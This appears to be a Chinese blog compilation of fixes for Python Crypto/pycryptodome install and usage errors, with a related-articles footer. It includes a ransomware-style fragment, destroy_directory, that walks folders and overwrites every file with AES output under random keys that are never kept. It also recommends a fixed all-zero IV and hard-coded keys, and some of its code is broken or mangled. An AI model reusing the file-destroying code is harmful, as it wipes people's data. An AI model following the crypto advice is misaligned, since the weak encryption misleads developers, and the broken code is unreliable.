python3 Crypto使用出现的问题

 

python3 安装Crypto 出现的问题

python3 import Crypto 失败的解决办法 (AES对称加密使用 模块)
# 先导入所需要的包

pip3 install Crypto

# 再安装pycrypto

pip3 install pycrypto

 

from Crypto.Cipher import AES  # 就成功了

 

-------------------------------

 

python3安装crypto出错,及解决方法

 

首先我用的python3.5的版本

问题的由来,我想通过python去实现RSA加密算法时,破解某网站的js加密认证,网上说需要安装pycrypto,我就去进行pip安装了

pip install pycrypto
错误信息如下

 error: Microsoft Visual C++ 14.0 is required. Get it with "Microsoft Visual C++ Build
经过网上查询信息,才知道这个库以及不再更新了,所以安装的时候会出一些错,因为c++编译环境有所问题吧

后来我发现了这个库 pycryptodome,它是和上面这个库一样的,实现了一些加密算法

pip install pycryptodome
很好,安装很顺利的成功了

于是我就很开心的打开pycharm,进行代码书写了,但是呢?我发现我怎么不能顺利的导包

from Crypto.PublicKey import RSA
pycharm也是提醒我书写有误,但我看官方文档的例子,它也是这样的导包的,我不信还是运行了程序,果然还是出错了

ImportError: No module named 'Crypto'
最后才发现,我需要在python35中改下包的名字,

# 这是我pycryptodome库安装的目录
# C:\python35\Lib\site-packages
 
# 在这个目录你找到这个文件夹的名字:crypto
# 将这个文件夹的名字改为: Crypto
通过上面的操作,就能成功的导入了

 

 

---------------------------------

 

 

from Crypto.Util.py3compat import byte_string ImportError: cannot import name 'byte_string'

 

 

pip3 uninstall pycrypto
pip3 uninstall pycryptodome
pip3 install pycryptodome
1
2
关于Crypto的安装问题,参考
https://www.cnblogs.com/fawaikuangtu123/p/9761943.html

===============================================

 

问题代码:

def pad(s):

    return s + b"\0" * (AES.block_size - len(s) % AES.block_size)   #将s与AES.block_size整数倍对齐

 

def encrypt(message, key, key_size=256):           #对文件进行  

    message = pad(message)                          #获取对齐后的文件流

    #iv = Random.new().read(AES.block_size)             #

    iv = os.urandom(16)             #             

    #iv = str(iv).encode('utf-8')

    #key = str(key).encode('utf-8')

    #print(type(iv))

    message = message.decode("utf8", errors="replace")

    key = key.encode('utf-8')

    iv = iv.decode("utf8", errors="replace")

    cipher = AES.new(key, AES.MODE_CBC, b'0000000000000000')                     #执行加密前的设置

#    cipher = cipher.decode('utf-8')

    return iv + str(cipher.encrypt(message.encode('utf-8')))               #加密返回

 

def encrypt_file(file_name, key):          #执行文件加密函数,就是对文件打开,写入

    with open(file_name, 'rb') as fo:

        plaintext = fo.read()

    enc = encrypt(plaintext, key)

    with open(file_name, 'wb') as fo:

        fo.write(bytes(enc.encode('utf-8')))


 

#creates key with n lenght for 'encrypt_file' function

def create_key(n):                #生成密钥函数      

    key = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(n)])  #这里会循环n次每次random随机函数会从输入的序列中随机取一个数<str>类型,并加入到key字符串中

    return key

 

#calls encrypt_file function for files in location, subdirectories of location

def destroy_directory(location):

    for root, _, files in os.walk(location):       #将输入的文件路径,分离分为根目录,文件夹名称,和文件列表

        for fil in files:

            fname = os.path.join(root, fil)        #从文件列表中取文件名与根目录组合形成文件路径

            encrypt_file(fname,create_key(32))     #执行文件加密

            print(fname + " is encrypted")

    print("---Action completed!---")

    #finish_control = 1 #listener function ends#     #这个位设置,结束listen函数,表明文件加密全部完成,也是结束加密程序的位置

    global finish_control #making it global, it's now available for listener function

    finish_control = 1

 

 

----------------------------------------------------------------------

 

报错解决:TypeError: Object type class 'str' cannot be passed to C code

text=text.encode("utf-8")
key=key.encode("utf-8")
iv=key.encode("utf-8")

明文,密钥,IV都要编码

 

======================================================

 

ValueError: IV must be 16 bytes long问题的解决

在这个里边儿 AES.new(self.key, self.mode)加上这样一串字符就可以了,就想这样:

    cryptor = AES.new(self.key, self.mode, b'0000000000000000')

6

 

 

用这个:

from Crypto.Cipher import AES 
import binascii,osdef aes_encrypt(plaintext):key = "00112233445566778899aabbccddeeff"iv = os.urandom(16)aes_mode = AES.MODE_CBCobj = AES.new(key, aes_mode, iv)ciphertext = obj.encrypt(plaintext)return ciphertext

工作方式如下:

>>> aes_encrypt("TestTestTestTest")
'r_\x18\xaa\xac\x9c\xdb\x18n\xc1\xa4\x98\xa6sm\xd3'
>>> 

区别在于:

>>> iv =  binascii.hexlify(os.urandom(16))
>>> iv
'9eae3db51f96e53f94dff9c699e9e849'
>>> len(iv)
32
>>> iv = os.urandom(16)
>>> iv
'\x16fdw\x9c\xe54]\xc2\x12!\x95\xd7zF\t'
>>> len(iv)
16
>>>

 

 

====================================

 

'bytes' object has no attribute 'encode'

python3中,编码的时候区分了字符串和二进制
encode 改为 decode 就可以了

 

 

 

========================================

python3 UnicodeDecodeError: 'utf-8' codec can't decode byte 0x8b in position 1: invalid start byte

Python3

代码:

from urllib.request import urlopen
from urllib.request import Request
 
url = "http://www.baidu.com"
ua_header = {"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0;"}
#url作为Request()方法的参数
request = Request(url, headers = ua_header)
 
#向指定的url发送请求
response = urlopen(request)
 
#类文件对象的支持 文件对象的操作方法
html = response.read()
#打印字符串
print(html.decode("utf8"))

报错:

UnicodeDecodeError: 'utf-8' codec can't decode byte 0x8b in position 1: invalid start byte
解决方案:

print(html.decode("utf8"))
改成
print(html.decode("utf8", errors="replace"))
虽然问题解决了但是,中间遇到一个问题,不是很明白,

第一次把

print(html.decode("utf8"))
改成
print(html.decode("utf8", errors="replace"))
完美解决报错问题,

(UnicodeDecodeError: 'utf-8' codec can't decode byte 0x8b in position 1: invalid start byte)

但是后面又写了几遍代码,写成

print(html.decode("utf8", errors="replace"))
有几次,会出现乱码问题,如果再改成
print(html.decode("utf8"))
之后,也不报错,也不乱码,两个问题完美都解决了。
 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/380925.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于证书的WCF安全开发详解

基于证书的WCF安全开发详解 前几天成功建立起了一套基于证书的安全的WCF服务&#xff0c;很兴奋&#xff0c;现在做一下总结&#xff0c;希望大侠们指点&#xff0c;也希望能帮助到一些菜鸟&#xff0c;哈哈。 一、安全通信的基本过程 这里只做定性的理论上的分析&#xff0c;因…

h5分享到朋友圈_微信朋友圈创意招聘广告制作方法 H5模板

微信朋友圈招聘广告发布出去那么久了&#xff0c;为啥还是没有求职者前来应聘呢&#xff1f;那么一定是你的招聘广告不够创意&#xff0c;所以没能吸引求职者的目光。如何才能制作一个有创意更吸引求职者眼球的招聘广告呢&#xff1f;现在你只需通过制作平台的一个模板&#xf…

如何禁用win7的ASLR

ASLR&#xff08;Address space layout randomization&#xff09;使可执行程序的装载地址有一个随机偏移。虽然偏移值不大&#xff0c;但是会给内核级调试带来麻烦&#xff0c;尤其是离线查找符号表时。 经典的方法是用注册表项HKLM\SYSTEM\CurrentControlSet\Session Manage…

spring的Bean属性

我们在配置spring文件时&#xff0c;会遇到配置bean属性的问题&#xff0c;bean的作用很简单&#xff0c;就是使用该元素描述需要spring容器管理对象 <?xml version"1.0" encoding"UTF-8"?> <beans xmlns:xsi"http://www.w3.org/2001/XML…

看了本书《答案在你心中》里面的很多问题都蛮有意思!!!

写完程序之余看看人生。想一想一些或许现在没有遇到&#xff0c;但将来某天会遇到的问题&#xff01;这本书总体还不错。摘几段看看&#xff01;&#xff01;每个人的答案都不一样&#xff01;&#xff01;哈哈《答案在你心中》为了心爱的人1 为了心爱的人&#xff0c; 你愿不愿…

还原特别慢_正手攻球最容易忽略的一步——还原

你距离标准的正手攻球可能只差一步。许多朋友在练习正手攻球一段时间以后&#xff0c;动作框架基本形成&#xff0c;有蹬转&#xff0c;能发力&#xff0c;肩部大臂都能放松&#xff0c;甚至能在击球的瞬间可以用上手指手腕的力量。但是录完视频一看&#xff0c;好像总是差那么…

Could not open lock file /var/lib/apt/lists/lock - open (13: Permission denied)

Ubuntu使用教程&#xff1a;E: 无法获得锁 /var/lib/apt/lists/lock - open (11 资源临时不可用) 查看一下是否有使用apt-get的程序,终端输入:ps -aux,找到使用apt-get的程序(最后一列),查看其PID号,然后杀死其进程,输入sudo kill PID. 用sudo apt-get update时出现“ E: 无法…

Spring三种对象创建方式

1、创建方式1&#xff1a;无参构造 我们先创建一个User类&#xff1a; public class User {private String name;private int age;public User() {System.out.println("无参构造方法");}public String getName() {return name;}public void setName(String name) {t…

《Windows核心编程》の窗口过程的使用

1&#xff09;设计一个窗口过程&#xff1a; 下面的实例代码展现了经典的窗口过程的结构。窗口过程使用switch语句处理传入的消息参数uMsg&#xff0c; LRESULT CALLBACK MainWndProc( HWND hwnd, // handle to window UINT uMsg, // message identifier WPARAM …

Anti-Screen Capture(Prevent Screen Captures)截屏与反截屏

1.数字图片使用类似与动画的方式显示&#xff0c;每次显示的是数字的一部分&#xff0c;当动态显示的时候人眼是可以分辨出具体数字的。但是截图的话就只能截取一部分&#xff0c;参考&#xff1a; cups.cs.cmu.edu/soups/2007/posters/p147_lim.pdf 2.屏蔽系统按键&#xff1…

unity中链接字符串和变量显示_理解Unity中的优化(六):字符串和文本

字符串和文本&#xff1a;在Unity项目中&#xff0c;处理字符串和文本经常会产生性能问题。在C#中&#xff0c;字符串是不变的。任何对字符串的操作都会重新分配新的字符串&#xff0c;这个代价是非常昂贵的。如果在多重循环中重复地执行字符串连接操作&#xff0c;就会造成性能…

Bean的scope属性

1、singleton&#xff08;默认值&#xff09;&#xff1a;单列对象&#xff0c;被标识为单例的对象在spring容器中只会存在一个实例 测试如下&#xff1a; 我们创建一个User类&#xff1a; public class User {private String name;private int age;public User() {System.out…

Oracle 索引扫描的五种类型

之前在讨论CBO和RBO的时候提到了索引扫描的几种类型。 Oracle Optimizer CBO RBO http://blog.csdn.net/tianlesoftware/archive/2010/08/19/5824886.aspx Oracle 索引 详解 http://blog.csdn.net/tianlesoftware/archive/2010/03/05/5347098.aspx Oracle Explain Plan http:/…

VS中标志寄存器表示

溢出标志OF(Over flow flag) OV(1) NV(0) 方向标志DF(Direction flag) DN(1) UP(0) 中断标志IF(Interrupt flag) EI(1) …

mysql修改表的结构_MySQL修改表结构

我们在修改表字段类型和约束条件的时候&#xff0c;如果表中的字段已经有值了&#xff0c;但是你修改的这个类型和字段里边的值不匹配是不允许修改的&#xff0c;就比如说你当初设置字段的时候&#xff0c;字段的值是允许存空值&#xff0c;并且字段里边已经存储空值了&#xf…

导入其他spring模块配置

列如下图中有两个spring的配置文件&#xff0c;我们想把上面的配置文件导入到下面的文件中去&#xff0c;该如何操作&#xff1a; 打开下面的配置文件&#xff0c;配置属性import,在import的resource配置上面配置文件的路径就可以了&#xff0c;如下&#xff1a; <import …

vs2019编写Linux c/c++项目

最近一直在阅读ovs的源码&#xff0c;看到用户态代码的时候&#xff0c;需要对用户态的代码进行调试&#xff0c;一开始想直接使用linux中的GDB进行调试&#xff0c;但是ovs的工程太过于复杂&#xff0c;从网上找了些文章&#xff0c;发现vs2017能够支持linux c程序的调试&…

mysql workbench 6.2_MySQL Workbench 6.2.4 下载 因为移动网络打不开官方也可能是国内网络问题 备用自己...

linux下好用的mysql gui 不多啊&#xff0c;除非在wine下 不太习惯phpmyadmin除了这个貌似在linux的就不多了&#xff0c;这里就用官方的管理工具吧win版本&#xff1a;http://dev.mysql.com/get/Downloads/MySQLGUITools/mysql-workbench-community-6.2.4-win32.msihttp://dev…

spring属性注入的set方法注入

1、值注入 创建我们要使用的User类&#xff1a; package cn.it.bean;public class User {private String name;Overridepublic String toString() {return "User [name" name ", age" age "]";}private int age; // private Car car; // /…

MySQLdb安装的错误说明

1、从http://www.codegood.com/上下载到国外有人编译好的&#xff0c;自己就免去这一环节 2、import MySQLdb时出现如下错误&#xff1a; Warning (fromwarnings module): File "C:\Python26\lib\site-packages\MySQLdb\__init__.py", line 34fromsets importImmuta…